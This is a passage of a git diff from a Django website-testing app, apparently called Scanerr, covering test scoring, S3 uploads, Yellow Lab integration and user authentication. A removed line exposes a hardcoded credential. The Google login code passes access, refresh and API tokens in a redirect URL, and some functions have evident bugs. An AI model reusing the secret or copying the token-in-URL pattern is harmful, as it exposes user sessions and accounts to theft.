def run_test(self, index=None): # default data html_delta_context = None + html_delta_uri = None logs_delta_context = None lighthouse_data = None yellowlab_data = None images_data = None - - + # testing html if 'html' in self.test.type or 'full' in self.test.type: - # scores - html_score = self.compare_html() - delta_html_data = self.delta_html() - num_html_ratio = delta_html_data['num_html_ratio'] - micro_diff_score = self.html_micro_diff_score( + try: + # scores + html_score = self.compare_html() + delta_html_data = self.delta_html() + num_html_ratio = delta_html_data['num_html_ratio'] + micro_diff_score = self.html_micro_diff_score( delta_html_data['post_micro_delta']['delta_parsed_diff'] ) + + # weights + html_score_w = 1 + num_html_w = 1 + micro_diff_w = 2 + + # data + html_delta_context = { + "pre_html_delta": delta_html_data['delta_html_pre'], + "post_html_delta": delta_html_data['delta_html_post'], + "pre_micro_delta": delta_html_data['pre_micro_delta'], + "post_micro_delta": delta_html_data['post_micro_delta'], + } + + # save html_delta s3 json file + file_id = uuid.uuid4() + with open(f'{file_id}.json', 'w') as fp: + json.dump(html_delta_context, fp) + + # upload to s3 and return url + html_delta_file = os.path.join(settings.BASE_DIR, f'{file_id}.json') + remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json' + root_path = settings.AWS_S3_URL_PATH + html_delta_uri = f"{root_path}/{remote_path}" - # weights - html_score_w = 1 - num_html_w = 1 - micro_diff_w = 2 - - # data - html_delta_context = { - "pre_html_delta": delta_html_data['delta_html_pre'], - "post_html_delta": delta_html_data['delta_html_post'], - "pre_micro_delta": delta_html_data['pre_micro_delta'], - "post_micro_delta": delta_html_data['post_micro_delta'], - } + # upload to s3 + with open(html_delta_file, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + # remove local copy + os.remove(html_delta_file) + + print(f'html_delta => {html_delta_uri}') + + except Exception as e: + print(e) - - + # testing logs if 'logs' in self.test.type or 'full' in self.test.type: - # scores - logs_score = self.compare_logs() - delta_logs_data = self.delta_logs() - num_logs_ratio = delta_logs_data['num_logs_ratio'] - - # weights - logs_score_w = .5 - num_logs_w = 2 - - # data - logs_delta_context = { - "pre_logs_delta": delta_logs_data['delta_logs_pre'], - "post_logs_delta": delta_logs_data['delta_logs_post'], - } - - - + try: + # scores + logs_score = self.compare_logs() + delta_logs_data = self.delta_logs() + num_logs_ratio = delta_logs_data['num_logs_ratio'] + + # weights + logs_score_w = .5 + num_logs_w = 2 + + # data + logs_delta_context = { + "pre_logs_delta": delta_logs_data['delta_logs_pre'], + "post_logs_delta": delta_logs_data['delta_logs_post'], + } + except Exception as e: + print(e) + + # testing LH if 'lighthouse' in self.test.type or 'full' in self.test.type: - # scores & data - lighthouse_data = self.delta_lighthouse() - lighthouse_avg = lighthouse_data['scores']['average_delta'] - if lighthouse_avg != None and lighthouse_avg > -100: - lighthouse_score = (100 + lighthouse_avg)/100 - if lighthouse_avg != None and lighthouse_avg <= -100: - lighthouse_score = 0 - - # weights - if lighthouse_score == None: - delta_lh_w = 0 - elif lighthouse_score > 1: - delta_lh_w = 1 - lighthouse_score = 1 - else: - delta_lh_w = 1 - - - - + try: + # scores & data + lighthouse_data = self.delta_lighthouse() + lighthouse_avg = lighthouse_data['scores']['average_delta'] + if lighthouse_avg != None and lighthouse_avg > -100: + lighthouse_score = (100 + lighthouse_avg)/100 + if lighthouse_avg != None and lighthouse_avg <= -100: + lighthouse_score = 0 + + # weights + if lighthouse_score == None: + delta_lh_w = 0 + elif lighthouse_score > 1: + delta_lh_w = 1 + lighthouse_score = 1 + else: + delta_lh_w = 1 + except Exception as e: + print(e) + + # testing YL if 'yellowlab' in self.test.type or 'full' in self.test.type: - # scores & data - yellowlab_data = self.delta_yellowlab() - yellowlab_avg = yellowlab_data['scores']['average_delta'] - if yellowlab_avg != None and yellowlab_avg > -100: - yellowlab_score = (100 + yellowlab_avg)/100 - if yellowlab_avg != None and yellowlab_avg <= -100: - yellowlab_score = 0 - - # weights - if yellowlab_score == None: - delta_yl_w = 0 - elif yellowlab_score > 1: - delta_yl_w = 1 - yellowlab_score = 1 - else: - delta_yl_w = 1 - - - - + try: + # scores & data + yellowlab_data = self.delta_yellowlab() + yellowlab_avg = yellowlab_data['scores']['average_delta'] + if yellowlab_avg != None and yellowlab_avg > -100: + yellowlab_score = (100 + yellowlab_avg)/100 + if yellowlab_avg != None and yellowlab_avg <= -100: + yellowlab_score = 0 + + # weights + if yellowlab_score == None: + delta_yl_w = 0 + elif yellowlab_score > 1: + delta_yl_w = 1 + yellowlab_score = 1 + else: + delta_yl_w = 1 + except Exception as e: + print(e) + + # testing images if 'vrt' in self.test.type or 'full' in self.test.type: - # scores & data - images_data = Image().test(test=self.test, index=index) - if images_data['average_score'] != None: - images_score = images_data['average_score'] / 100 - - # weights - images_w = 4 - + try: + # scores & data + images_data = Imager().test(test=self.test, index=index) + if images_data['average_score'] != None: + images_score = images_data['average_score'] / 100 + + # weights + images_w = 4 + except Exception as e: + print(e) - + # calculating total weight total_w = ( html_score_w + logs_score_w + num_html_w + num_logs_w + delta_lh_w + micro_diff_w + images_w + delta_yl_w ) - + # calculating final weighted average score score = (( (html_score * html_score_w) + (logs_score * logs_score_w) + @@ -562,7 +756,6 @@ def run_test(self, index=None): (images_score * images_w) ) / total_w) * 100 - print( "Formula was --> ((" + str(html_score*html_score_w) + " + " + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " @@ -571,9 +764,9 @@ def run_test(self, index=None): " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) ) - + # updating test data self.test.time_completed = datetime.now() - self.test.html_delta = html_delta_context + self.test.html_delta = html_delta_uri self.test.logs_delta = logs_delta_context self.test.lighthouse_delta = lighthouse_data self.test.yellowlab_delta = yellowlab_data @@ -584,12 +777,13 @@ def run_test(self, index=None): self.test.component_scores['lighthouse'] = (lighthouse_score * 100) self.test.component_scores['yellowlab'] = (yellowlab_score * 100) self.test.component_scores['vrt'] = (images_score * 100) - - self.test.save() + # updating associated page and site + self.update_page_info(self.test) self.update_site_info(self.test) + # returning updated test return self.test @@ -597,4 +791,3 @@ def run_test(self, index=None): - diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py index eb119c4f..adfecd13 100644 --- a/app/api/utils/verify.py +++ b/app/api/utils/verify.py @@ -1,12 +1,16 @@ import os, requests, json + + + + + def verify(): username = os.environ.get('ADMIN_USER') email = os.environ.get('ADMIN_EMAIL') password = os.environ.get('ADMIN_PASS') - cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792' - url = 'https://scanerr.io/verify' - + cred = os.environ.get('CRED') + url = 'https://scanerr.io/api/verify' headers = { "Content-Type": "application/json", diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py index f94ea864..d3821cbb 100644 --- a/app/api/utils/wordpress.py +++ b/app/api/utils/wordpress.py @@ -11,7 +11,6 @@ - class Wordpress(): @@ -518,7 +517,7 @@ def run_migration(self): #

Your migration is complete!

# get full page div if new_progress >= 100 or done_text in self.driver.page_source: - self.process.successful = True + self.process.success = True self.process.time_completed = datetime.now() done = True diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py index 889a00ff..b2a2a68d 100644 --- a/app/api/utils/wordpress_p.py +++ b/app/api/utils/wordpress_p.py @@ -9,7 +9,6 @@ - class Wordpress(): @@ -399,7 +398,7 @@ async def install_plugin(self, plugin_name): def update_process(self, successful=False, info_url=None, time_completed=None, progress=None): if info_url is not None: self.process.info_url = info_url - self.process.successful = successful + self.process.success = successful if time_completed is not None: self.process.time_completed = time_completed if progress is not None: diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index ea3e11b6..7270f523 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -1,141 +1,259 @@ -import subprocess, json +import subprocess, json, uuid, boto3, os, requests, time from ..models import Site, Scan +from scanerr import settings + + + class Yellowlab(): - """Initializes Yellow Lab Tools CLI and runs an audit of the site""" + """ + Initializes Yellow Lab Tools CLI and runs an audit of the site + + Use self.get_data() to init a run + """ - def __init__(self, site=None, configs=None): - self.site = site + def __init__(self, scan=None, configs=None): + self.scan = scan + self.site = self.scan.site + self.page = self.scan.page self.configs = configs + # initial audits object + self.audits = { + "pageWeight": [], + "images": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # initial scores object + self.scores = { + "globalScore": None, + "pageWeight": None, + "images": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + } + - def init_audit(self): + def yellowlab_cli(self): + """ + Serves as the CLI method for collecting YL metrics. + Creates a sub process running yellowlabtools CLI + + Returns --> raw YL data (Dict) + """ + + # initiating subprocess for YLT CLI proc = subprocess.Popen([ - 'yellowlabtools', - self.site.site_url, + 'yellowlabtools', + self.page.page_url, f'--device={self.configs["device"]}' ], stdout=subprocess.PIPE, user='app', ) + + # retrieving data from process stdout_value = proc.communicate()[0] - return stdout_value + # converting stdout str into Dict + stdout_json = json.loads(stdout_value) + return stdout_json - def get_data(self): - try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') + + + def yellowlab_api(self) -> dict: + """ + Serves as the API method for collecting YL metrics. + Sends API requests to http://yellowlab:8383 + or localhost:8383 + + Returns --> raw YL data (Dict) + """ + + # defaults + headers = { + "content-type": "application/json", + } + data = { + "url": self.page.page_url, + "waitForResponse": True, + "device": self.configs["device"] + } + + # setting up initial request + res = requests.post( + url=f'{settings.YELLOWLAB_ROOT}/api/runs', + data=json.dumps(data), + headers=headers + ).json() + + # retrieve runId & pod_ip if present + run_id = res['runId'] + pod_ip = res.get('pod_ip') + NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip != None else settings.YELLOWLAB_ROOT - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'yellowlab ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - } - - # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] - for a in cat_audits: - try: - audit = stdout_json["rules"][a] - audits[cat].append(audit) - except: - pass - - - # get scores from each category - globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] - pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] - requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] - domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] - javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] - badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] - jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] - cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] - badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] - fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] - serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] - - scores = { - "globalScore": globalScore, - "pageWeight": pageWeight_score, - "requests": requests_score, - "domComplexity": domComplexity_score, - "javascriptComplexity": javascriptComplexity_score, - "badJavascript": badJavascript_score, - "jQuery": jQuery_score, - "cssComplexity": cssComplexity_score, - "badCSS": badCSS_score, - "fonts": fonts_score, - "serverConfig": serverConfig_score, - } - - data = { - "scores": scores, - "audits": audits, - "failed": False - } + wait_time = 0 + max_wait = 1200 + done = False - else: + # waiting for run to complete + while not done and wait_time < max_wait: + + # sending run request check + res = requests.get( + url=f'{NEW_ROOT}/api/runs/{run_id}', + headers=headers + ).json() + + # checking status + status = res['run']['status']['statusCode'] + position = res['run']['status'].get('position') + if status == 'awaiting': + max_wait = (120 * position) + if status == 'complete': + done = True + if status == 'failed': raise RuntimeError + break + + # incrementing time + time.sleep(5) + wait_time += 5 + + + # getting run results + res = requests.get( + url=f'{NEW_ROOT}/api/results/{run_id}', + headers=headers + ).json() + + return res + - except Exception as e: - print(e) - - scores = { - "globalScore": None, - "pageWeight": None, - "requests": None, - "domComplexity": None, - "javascriptComplexity": None, - "badJavascript": None, - "jQuery": None, - "cssComplexity": None, - "badCSS": None, - "fonts": None, - "serverConfig": None, - } - - audits = { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - } - - data = { - "scores": scores, - "audits": audits, - "failed": True - } + + + def process_data(self, stdout_json: dict) -> dict: + """ + Accepts JSON data from either CLI or API method + and parses into usable Scanerr data. + + Expects the following: + stdout_json: or json from output + Returns --> formatted YL data + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # iterating through categories to get relevant yl_audits + # and store them in their respective `audits = {}` obj + for cat in self.audits: + cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + for a in cat_audits: + try: + audit = stdout_json["rules"][a] + self.audits[cat].append(audit) + except: + pass + + # get scores from each category + for key in self.scores: + if key == 'globalScore': + self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"] + else: + self.scores[key] = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"] + + + # save audits data as json file + file_id = uuid.uuid4() + with open(f'{file_id}.json', 'w') as fp: + json.dump(self.audits, fp) + + # upload to s3 and return url + audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json') + remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json' + root_path = settings.AWS_S3_URL_PATH + audits_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(audit_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + # remove local copy + os.remove(audit_file) + + # updating opjects + self.audits = audits_url + + data = { + "scores": self.scores, + "audits": self.audits, + "failed": False + } + + # returning data return data + + + def get_data(self): + + scan_complete = False + failed = None + attempts = 0 + # trying yellowlab scan untill success or 2 attempts + while not scan_complete and attempts < 2: + + try: + # CLI on first attempt + if attempts < 1: + raw_data = self.yellowlab_cli() + self.process_data(stdout_json=raw_data) + + # API after first attempt + if attempts >= 1: + raw_data = self.yellowlab_api() + self.process_data(stdout_json=raw_data) + scan_complete = True + failed = False + + except Exception as e: + print(f'YELLOWLAB FAILED (attempt {attempts}) --> {e}') + scan_complete = False + failed = True + attempts += 1 + + data = { + "scores": self.scores, + "audits": self.audits, + "failed": failed + } + + # returning final data + return data \ No newline at end of file diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py deleted file mode 100644 index 10392b78..00000000 --- a/app/api/v1/auth/alerts.py +++ /dev/null @@ -1,166 +0,0 @@ -from django.core.mail import send_mail, send_mass_mail -from django.contrib.auth.models import User -from django.template.loader import render_to_string -from datetime import date -import os, operator -from ...models import * -from django.utils.html import strip_tags -from django.contrib.auth.models import User -from rest_framework_simplejwt.tokens import RefreshToken -from rest_framework.response import Response -from ...utils.alerts import sendgrid_email -from scanerr import settings - - - - -def send_reset_link(email): - if User.objects.filter(email=email).exists(): - user = User.objects.get(email=email) - token = RefreshToken.for_user(user) - access_token = str(token.access_token) - reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token) - subject = 'Rest Password' - title = 'Reset Password' - pre_header = 'Reset Password' - pre_content = 'Click the link below to reset your password.' - - subject = subject - context = { - 'title' : title, - 'subject' : subject, - 'email': email, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'object_url' : reset_link, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'button_text' : 'Rest my password', - 'content' : '', - 'signature' : '- Cheers!', - } - - sendgrid_email(message_obj=context) - - # html_message = render_to_string('api/alert_with_button.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [email], - # html_message = html_message, - # fail_silently = True, - # ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - - - -def send_invite_link(member): - if Member.objects.filter(email=member.email, status="pending").exists(): - member = Member.objects.get(email=member.email) - link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}' - subject = 'Scanerr Invite' - title = 'Scanerr Invite' - pre_header = 'Scanerr Invite' - pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!' - - subject = subject - context = { - 'title' : title, - 'subject' : subject, - 'email': member.email, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'object_url' : link, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'button_text' : 'Accept Invite', - 'content' : '', - 'signature' : '- Cheers!', - } - - sendgrid_email(message_obj=context) - - # html_message = render_to_string('api/alert_with_button.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [member.email], - # html_message = html_message, - # fail_silently = True, - # ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - -def send_remove_alert(member): - if Member.objects.filter(email=member.email, status="removed").exists(): - member = Member.objects.get(email=member.email) - subject = 'Removed From Account' - title = 'Removed From Account' - pre_header = 'Removed From Account' - pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.' - - subject = subject - context = { - 'title' : title, - 'subject' : subject, - 'email': member.email, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'object_url' : None, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'content' : '', - 'signature' : '- Cheers!', - } - - sendgrid_email(message_obj=context) - - # html_message = render_to_string('api/alert_no_button.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [member.email], - # html_message = html_message, - # fail_silently = True, - # ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data \ No newline at end of file diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py index 77f4d9ab..58617019 100644 --- a/app/api/v1/auth/serializers.py +++ b/app/api/v1/auth/serializers.py @@ -10,6 +10,11 @@ from rest_framework import routers, serializers, viewsets from rest_framework.fields import UUIDField + + + + + kwargs = { 'allow_null': False, 'read_only': True, @@ -18,10 +23,13 @@ + class UserSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = User - fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login'] + fields = ['id', 'username', 'email', 'password', 'is_active', + 'date_joined', 'last_login', 'first_name', 'last_name'] + @@ -44,13 +52,16 @@ def validate(self, attrs): return data + + class RegisterSerializer(UserSerializer): password = serializers.CharField(max_length=128, min_length=8, write_only=True, required=True) email = serializers.EmailField(required=True, write_only=True, max_length=128) class Meta: model = User - fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login'] + fields = ['id', 'username', 'email', 'password', 'is_active', + 'date_joined', 'last_login', 'first_name', 'last_name'] def create(self, validated_data): try: @@ -61,19 +72,22 @@ def create(self, validated_data): + class AccountSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) class Meta: model = Account - fields = ['id', 'active', 'time_created', 'type', + fields = ['id', 'active', 'time_created', 'type', 'phone', 'cust_id', 'sub_id', 'product_id', 'price_id', 'slack', - 'user', 'code', 'name', + 'user', 'code', 'name', 'price_amount', 'max_sites', + 'max_pages', 'max_schedules', 'testcases', 'retention_days' ] + class MemberSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) @@ -86,4 +100,5 @@ class Meta: ] - \ No newline at end of file + + diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 96fa4eec..008215c5 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -1,26 +1,29 @@ -import requests, os, subprocess, secrets -from typing import Dict, Any -from scanerr import settings -from django.http import HttpResponse -from django.db import transaction -from rest_framework import status, serializers -from rest_framework_simplejwt.tokens import RefreshToken + + from django.core.exceptions import ValidationError -from django.forms.models import model_to_dict from django.contrib.auth.models import User +from django.contrib.auth.middleware import get_user +from django.contrib.auth.password_validation import validate_password from django.shortcuts import get_object_or_404 from rest_framework.authtoken.models import Token -from ...models import Account, Card, Member -from ..ops.services import record_api_call +from rest_framework.response import Response +from rest_framework.pagination import LimitOffsetPagination +from rest_framework import status, serializers +from rest_framework_simplejwt.tokens import RefreshToken from slack_sdk.oauth import AuthorizeUrlGenerator from slack_sdk.oauth.installation_store import FileInstallationStore, Installation from slack_sdk.oauth.state_store import FileOAuthStateStore from slack_sdk.web import WebClient +from ...models import Account, Card, Member, Site +from ..ops.services import record_api_call from .serializers import * -from .alerts import * -from rest_framework.response import Response -from rest_framework.pagination import LimitOffsetPagination -from django.contrib.auth.middleware import get_user +from ...utils.alerts import send_reset_link +from ...tasks import send_invite_link_bg, send_remove_alert_bg +from scanerr import settings +import requests, os, subprocess, secrets + + + @@ -29,108 +32,349 @@ GOOGLE_USER_INFO_URL = 'https://www.googleapis.com/oauth2/v3/userinfo' -def jwt_login(*, user: User): - refresh = RefreshToken.for_user(user) - access = str(refresh.access_token) - refresh = str(refresh) + + +### ------ Begin User Services ------ ### + + + + +def register_user(request: object) -> object: + """ + Creates a User object and returns a request + + Expects the following: + 'email' : str, + 'password' : str, + 'first_name' : str, + 'last_name' : str, + + Returns -> data: { + 'user' : dict, + 'token' : str, + 'refresh' : str, + 'api_token' : str + } + """ + + # get data + password = request.data.get('password') + username = request.data.get('username') + first_name = request.data.get('first_name') + last_name = request.data.get('last_name') + + # validate requests + if (password is None or len(password) == 0) or \ + (username is None or len(username) == 0): + data = {'detail': 'Must provide an email and password.'} + return Response(data=data, status=status.HTTP_400_BAD_REQUEST) + + if User.objects.filter(username=username).exists(): + data = {'detail': 'Account already exists.'} + return Response(data=data, status=status.HTTP_409_CONFLICT) - if Token.objects.filter(user=user).exists(): - api_token = Token.objects.get(user=user) - else: + # validate password and create user + if validate_password(password) == None: + + # create user + user = User.objects.create( + username=username, + email=username, + first_name=first_name, + last_name=last_name + ) + + # setting password + user.set_password(raw_password=password) + user.save() + + # generating JWTs + refresh = RefreshToken.for_user(user) + + # generate API token api_token = Token.objects.create(user=user) + + # returning data + data = { + 'user': UserSerializer(user).data, + 'token': str(refresh.access_token), + 'refresh': str(refresh), + 'api_token': str(api_token.key) + } + return Response(data=data, status=status.HTTP_201_CREATED) - if user.is_active == True: - is_active = 'true' else: - is_acive = 'false' + data = {'detail': 'Please choose a stronger password.'} + return Response(data=data, status=status.HTTP_400_BAD_REQUEST) - param_string = str( - '?access='+access+'&refresh='+refresh+ - '&username='+user.username+'&id='+str(user.id)+ - '&email='+user.email+'&is_active='+is_active+ - '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+ - '&api_token='+str(api_token.key) - ) - lead_string = str(settings.CLIENT_URL_ROOT+'/google-confirm') + + +def login_user(request: object) -> object: + """ + Creates a User object and returns a request + + Expects the following: + 'email' : str, + 'password' : str + + Returns -> data: { + 'user' : dict, + 'token' : str, + 'refresh' : str, + 'api_token' : str + } + """ + + # get data + password = request.data.get('password') + username = request.data.get('username') + + # validate requests + if (password is None or len(password) == 0) or \ + (username is None or len(username) == 0): + data = {'detail': 'Must provide an email and password.'} + return Response(data=data, status=status.HTTP_400_BAD_REQUEST) + + # setting defalt response + data = {'detail': 'No account found with the given credentials.'} + + # checking is User exists via provided username + if User.objects.filter(username=username).exists(): + + # retrieving User obj + user = User.objects.get(username=username) + + # validating password + if user.check_password(password): + + # generating JWTs + refresh = RefreshToken.for_user(user) + + # get API token + api_token = Token.objects.get(user=user) + + # returning data + data = { + 'user': UserSerializer(user).data, + 'token': str(refresh.access_token), + 'refresh': str(refresh), + 'api_token': str(api_token.key) + } + return Response(data=data, status=status.HTTP_201_CREATED) + + else: + return Response(data=data, status=status.HTTP_401_UNAUTHORIZED) + else: + return Response(data=data, status=status.HTTP_401_UNAUTHORIZED) + + + + +def update_user(request: object) -> object: + """ + Updates the User with the passed "email". + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + email = request.data.get('email') + + # check if an email is already associated with a user + if User.objects.filter(email=email).exists(): + return Response(status=status.HTTP_417_EXPECTATION_FAILED) - redirect_url = lead_string + param_string + # update user email + user.username = email + user.email = email + user.save() - return redirect_url + # serialize and return + data = UserSerializer(user).data + return Response(data, status=status.HTTP_200_OK) -def user_create(email, password=None, **extra_fields) -> User: - extra_fields = { - 'is_staff': False, - 'is_superuser': False, - **extra_fields +def update_password(request: object) -> object: + """ + Updates the User with the passed "password". + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + password = request.data.get('password') + user = request.user + + try: + # validate password + if validate_password(password, user=user) == None: + + # udpdate password + user.set_password(password) + user.save() + + # return success + return Response(status=status.HTTP_200_OK) + + except: + # respond with error + return Response(status=status.HTTP_417_EXPECTATION_FAILED) + + + + +def send_reset_email(request: object) -> object: + """ + Sends a password reset email to the + User that matches the passed "email". + + Expects: { + 'request': object } - user = User.objects.create( - username=email, - email=email, - **extra_fields - ) + Returns -> HTTP Response object + """ - # creating API token - Token.objects.create(user=user) + # get request data + email = request.data.get('email') - user.set_unusable_password() - user.full_clean() - user.save() + # send + resp = send_reset_link(email) + + if resp.get('success') == True: + return Response(status=status.HTTP_200_OK) + + return Response(status=status.HTTP_404_NOT_FOUND) - return user -def create_user_token(request): - # creating New API token - if Token.objects.filter(user=request.user).exists(): - old_token = Token.objects.get(user=request.user) - old_token.delete() +### ------ Begin GoogleAuth Services ------ ### + + + + +def jwt_login(*, user: object) -> str: + """ + Gets JWTs for passed "user" and builds a + redirect url for returning user params back to + Scanerr.client - api_token = Token.objects.create(user=request.user) - data = {'api_token': api_token.key,} - return Response(data, status=status.HTTP_200_OK) + Expect: { + 'user': object + } + Returns -> str + """ + # get JWTs for user + refresh = RefreshToken.for_user(user) + access = str(refresh.access_token) + refresh = str(refresh) + + # create API token if none exists + if not Token.objects.filter(user=user).exists(): + Token.objects.create(user=user) + + # get API token + api_token = Token.objects.get(user=user) + + # setting user active + is_active = str(user.is_active).lower() + # building params for redirect + param_string = str( + '?access='+str(access)+'&refresh='+str(refresh)+ + '&username='+str(user.username)+'&id='+str(user.id)+ + '&email='+str(user.email)+'&is_active='+str(is_active)+ + '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+ + '&api_token='+str(api_token.key) + ) + + # build redirect url + redirect_url = f'{settings.CLIENT_URL_ROOT}/google-confirm{param_string}' + + # return redirect + return redirect_url + + + + +def get_or_create_user(email: str, **extra_fields) -> object: + """ + Creates a new `User` with the passed "email". + + Expects: { + 'email' : str, + } -def user_get_or_create(*, email: str, **extra_data): + Returns -> User object + """ + + # trying to find user user = User.objects.filter(email=email).first() + # return user if found if user: return user - return user_create(email=email, **extra_data) + # formating extra passed data + extras = { + 'is_staff': False, + 'is_superuser': False, + } + # format user's names + if extra_fields.get('first_name') is not None: + extras['first_name'] = extra_fields.get('first_name') + if extra_fields.get('last_name') is not None: + extras['last_name'] = extra_fields.get('last_name') + # create the user + user = User.objects.create( + username=email, + email=email, + **extra_fields + ) + # creating API token + Token.objects.create(user=user) -def google_validate_id_token(*, id_token: str): - # Reference: https://developers.google.com/identity/sign-in/web/backend-auth#verify-the-integrity-of-the-id-token - response = requests.get( - GOOGLE_ID_TOKEN_INFO_URL, - params={'id_token': id_token} - ) + # setting password + user.set_unusable_password() + user.full_clean() + user.save() - if not response.ok: - raise ValidationError('id_token is invalid.') + # returning new User + return user - audience = response.json()['aud'] - if audience != settings.GOOGLE_OAUTH2_CLIENT_ID: - raise ValidationError('Invalid audience.') - return True +def google_get_access_token(*, code: str, redirect_uri: str) -> str: + """ + Get an access token from Google OAuth2 API + Expects: { + 'code' : str, + 'redirect_uri' : str + } + Returns -> str + """ -def google_get_access_token(*, code: str, redirect_uri: str) -> str: - # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#obtainingaccesstokens + # format request data data = { 'code': code, 'client_id': settings.GOOGLE_OAUTH2_CLIENT_ID, @@ -139,39 +383,126 @@ def google_get_access_token(*, code: str, redirect_uri: str) -> str: 'grant_type': 'authorization_code' } + # send google request response = requests.post(GOOGLE_ACCESS_TOKEN_OBTAIN_URL, data=data) if not response.ok: raise ValidationError('Failed to obtain access token from Google.') + # parse access_token access_token = response.json()['access_token'] + # return access token return access_token -def 